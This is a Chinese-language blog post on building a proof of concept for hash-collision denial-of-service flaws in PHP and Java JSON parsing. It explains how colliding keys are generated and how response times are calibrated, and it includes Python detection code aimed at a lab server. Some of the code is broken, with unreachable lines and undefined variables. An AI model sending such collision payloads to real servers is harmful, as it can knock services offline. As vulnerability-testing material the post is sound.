hash碰撞POC
hash碰撞POC:
該類型漏洞POC編寫過程難點有二:
一. hash碰撞數據的產生或收集
二. 使用responseTime來判斷是否存在hash,如何精確的得到
三. 如何估算出服務器的處理/響應時間,以用來判斷是否存在漏洞。
github能找到hash碰撞的POC,使用python編寫的
該POC生成hashcollision的算法思想:
1. 取一個隨機數n,由n生成 k維的笛卡爾積
可以理解為k維的數組,如array[AA][BB][CC],計算後為“AABBCC”
2. 將所有數組的值取出來,設定hash算法,計算每個值在該hash算法下的hash值
3. 隨機取一個數的hash值,再取出其他與該hash值相同的數,組成hash碰撞的payload
將payload放入POST數據中,使用socket發包,由發包後和接受完整數據後的時間差得出響應時間。
該POC的弊端在於,如果只是做檢測,沒必要每次都生成payload,只需要生成一次payload,就可以多次測試了。
另一個難點,如何準確的判斷responseTime。
這一點以burpsuite的時間為準
以自己搭建的內網測試環境,代碼為
<?php $startTime = microtime(true); $rest = file_get_contents("php://input"); $a=json_decode($rest,true); ?>
burpsuite中,不發送POST數據時間為10ms左右,發送正常的json數據時間為 100ms左右
而自己編寫的代碼,發送正常json數據數據時
1. 計算requests前後的時間差,會有很大的誤差,發送數據的時間和接受的時間都會計入在內。而發送的payload較大,通常達到1M,所以時間上有誤差。得出時間1300ms左右
2. requests的elapsed.total_seconds()計算得出的時間會比第一種方法少,為800ms左右
3. github上的POC,使用socket發送數據,截取recv前後的時間差, 時間在1200ms左右。
很難接近burpsuite得出的時間,我想主要是request將發送數據的時間計算在內了吧。
由此,可以估算發送數據的時間
time=(發送正常json的時間-不發送數據的時間) ,再 *4/5 (*4/5是估算去除掉服務器處理正常json時的處理時間)
設置判斷存在碰撞漏洞的時間線 limit為
limit=發送正常json數據的時間-time(發送數據的時間)
在每一個payload發送的時間上減去 n/m*time()按發送數據的大小比例估算出的發送數據的時間)
如果超過劃定的時間線,則可能為hash碰撞漏洞
經測試,可判斷出自己搭建的環境上的hash碰撞漏洞。
測試仍然受網絡速度影響。
存在許多瑕疵,仍然可以改進。
比如增加數據量,讓服務器處理碰撞數據的時間倍增,則發送數據的時間比重縮小,影響降低。
最後貼上測試代碼,其中的payload明天再貼上
payload數據還可以改進增加。
#coding:utf-8 import time import requests import jsonToString import pycurl import thread class Test: def __init__(self): self.contents = ‘‘ def body_callback(self,buf): self.contents = self.contents + buf def timeOfRequest(url,data): start=time.time() #print data try: q=requests.post(url,data) #print q.content return q.elapsed.total_seconds() except: pass end=time.time() return 1000000 #return (end-start) def test_gzip(input_url,data): t = Test() #gzip_test = file("gzip_test.txt", ‘w‘) c = pycurl.Curl() c.setopt(pycurl.WRITEFUNCTION,t.body_callback) c.setopt(pycurl.ENCODING, ‘gzip‘) c.setopt(pycurl.URL,input_url) c.setopt(pycurl.POSTFIELDS, data) c.perform() http_total_time = c.getinfo(pycurl.TOTAL_TIME) return http_total_time http_size = c.getinfo(pycurl.SIZE_DOWNLOAD) print ‘conn_time pre_tran start_tran total_time‘ print "%f %f %f %f"%(http_conn_time,http_pre_tran,http_start_tran,http_total_time) #print timeOfRequest(url,"normal") def control(url,string,data): #print string return test_gzip(url,data) #time=timeOfRequest(url,data) #print time #if time > 26: # print "Probably have hashcollistion" def show(times,limit): for name in times: if times[name]>limit: print "Probably have HashCollision==>", print name+":", print times[name] def check(url): nulldata=open("null.txt","r").readline() normaldata=open("normal.txt","r").readline() phpjsondata=open("phpjson.txt","r").readline() javajsondata=open("javajson.txt","r").readline() phpdata=jsonToString.jsonToString(phpjsondata) javadata=jsonToString.jsonToString(javajsondata) times={} print "NO THREAD" times["null"]=control(url,"null",nulldata) time.sleep(1) times["normal"]=control(url,"normal",normaldata) #利用normal,算出發送大量數據的時間,所占比例約為 (normal-null)*4/5 time.sleep(1) trantime=(times["normal"]-times["null"])*4/5 base=times["normal"]-trantime limit=base*13 print limit times["phpjson"]=control(url,"phpjson",phpjsondata)-1.36*trantime times["php"]=control(url,"php",phpdata)-1.36*trantime times["javajson"]=control(url,"javajson",javajsondata)-2.3*trantime times["java"]=control(url,"java",javadata)-2.3*trantime show(times,limit) if __name__ == ‘__main__‘: url="http://10.252.223.15/test.php" check(url) # while 1: # pass
hash碰撞POC